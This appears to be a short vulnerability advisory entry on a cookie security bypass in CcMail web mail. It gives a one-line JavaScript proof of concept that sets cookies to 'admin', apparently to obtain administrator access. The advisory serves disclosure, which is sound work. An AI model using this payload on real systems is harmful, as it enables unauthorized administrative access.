CcMail Cookie Security Bypass Vulnerability

info
discussion
exploit
solution
references

CcMail Cookie Security Bypass Vulnerability

The following proof-of-concept JavaScript code to create a cookie is available:

javascript:document.cookie = "name=admin; path=/;"; document.cookie = "this_cookie=admin; path=/;";